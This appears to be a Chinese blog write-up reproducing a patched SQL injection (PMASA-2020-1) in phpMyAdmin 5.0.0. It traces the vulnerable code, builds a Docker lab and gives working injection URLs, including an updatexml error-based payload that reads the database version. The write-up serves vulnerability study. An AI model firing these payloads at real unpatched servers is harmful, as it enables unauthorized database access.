今晚瞎逛的时候发现phpmyadmin更新了,查看 Release notes
The two most notable fixes:
* Issue #15724 regarding two-factor authentication
* PMASA-2020-1 which is an SQL injection vulnerability in the user accounts page
发现修复了一个sql注入漏洞,便想复现和分析一下
打开phpmyadmin
的安全公告页面,查看公告写的PMASA-2020-1
描述
在用户帐户页面中发现了一个SQL注入漏洞。创建对此页面的查询时,恶意用户可能会注入自定义SQL来代替其自己的用户名。攻击者必须具有有效的MySQL帐户才能访问服务器。
下面的fix 只改了一行
很显然 这个就是注入点了. 也不会像之前那个洞一样闹个乌龙,说是sql注入而其实是xss
docker一把梭
docker run --name mysql5.6 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.6
`docker run --name myadmin -d --link mysql5.7:db -p 8080:80 phpmyadmin/phpmyadmin:5.0
下载前一个版本 5.0.0的代码压缩包后, 打开libraries/classes/Server/Privileges.php
来到对应行.
if (isset($_GET['validate_username'])) { $sql_query = "SELECT * FROM `mysql`.`user` WHERE `User` = '" . $_GET['username'] . "';"; // 省略 节省篇幅 }
很显然可以看出注入点是$_GET['username']
,而需要设置$_GET['validate_username']
往上看, 这段代码位于public function getExtraDataForAjaxBehavior
函数.
搜索上层调用来到/server_privileges.php
的这段代码
if ($response->isAjax() && empty($_REQUEST['ajax_page_request']) && ! isset($_GET['export']) && (! isset($_POST['submit_mult']) || $_POST['submit_mult'] != 'export') && ((! isset($_GET['initial']) || $_GET['initial'] === null || $_GET['initial'] === '') || (isset($_POST['delete']) && $_POST['delete'] === __('Go'))) && ! isset($_GET['showall']) && ! isset($_GET['edit_user_group_dialog']) ) { $extra_data = $serverPrivileges->getExtraDataForAjaxBehavior( (isset($password) ? $password : ''), (isset($sql_query) ? $sql_query : ''), (isset($hostname) ? $hostname : ''), (isset($username) ? $username : '') ); if (! empty($message) && $message instanceof Message) { $response->setRequestStatus($message->isSuccess()); $response->addJSON('message', $message); $response->addJSON($extra_data); exit; } }
可以发现if里大部分条件都可控, 除了$response->isAjax()
public function isAjax(): bool { return $this->_isAjax; }
查看构造函数
/** * Creates a new class instance */ private function __construct() { if (! defined('TESTSUITE')) { $buffer = OutputBuffering::getInstance(); $buffer->start(); register_shutdown_function([$this, 'response']); } $this->_header = new Header(); $this->_HTML = ''; $this->_JSON = []; $this->_footer = new Footer(); $this->_isSuccess = true; $this->_isDisabled = false; $this->setAjax(! empty($_REQUEST['ajax_request'])); $this->_CWD = getcwd(); }
可以看到这条件在于$_REQUEST['ajax_request']
是否为空.
根据上面的几个条件 我们可以构造出如下最简单的poc
http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%22
登陆后(这个操作需要权限) 尝试访问上面的url.返回如下
{"success":false,"error":"<div class=\"error\"><h1>Error<\/h1><p><strong>Static analysis:<\/strong><\/p><p>1 errors were found during analysis.<\/p><p><ol><li>Ending quote \" was expected. (near \"\" at position 53)<\/li><\/ol><\/p><p><strong>SQL query:<\/strong> <a href=\"#\" class=\"copyQueryBtn\" data-text=\"SELECT * FROM `mysql`.`user` WHERE `User` = 'test'"';\">Copy<\/a>\n<a href=\".\/url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Fselect.html\" target=\"mysql_doc\"><img src=\"themes\/dot.gif\" title=\"Documentation\" alt=\"Documentation\" class=\"icon ic_b_help\"><\/a><a href=\"server_sql.php?sql_query=SELECT+%2A+FROM+%60mysql%60.%60user%60+WHERE+%60User%60+%3D+%27test%27%22%27%3B&show_query=1\"><span class=\"nowrap\"><img src=\"themes\/dot.gif\" title=\"Edit\" alt=\"Edit\" class=\"icon ic_b_edit\"> Edit<\/span><\/a> <\/p>\n<p>\nSELECT * FROM `mysql`.`user` WHERE `User` = 'test'"';\n<\/p>\n<p>\n <strong>MySQL said: <\/strong><a href=\".\/url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Ferror-messages-server.html\" target=\"mysql_doc\"><img src=\"themes\/dot.gif\" title=\"Documentation\" alt=\"Documentation\" class=\"icon ic_b_help\"><\/a>\n<\/p>\n<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"'' at line 1<\/code><br><\/div>"}
一个sql报错信息, 说明这个最短poc生效了
利用的话 反正都回显了 直接updatexml报错注入
http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%20and%20(select%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1))%20--%20
在返回最下面可以看到#1105 - XPATH syntax error: '~5.6.46~'
这个洞要求一个可以登录的账号才能注入. , 另外这个请求似乎也不需要csrf-token
(不过似乎没什么用)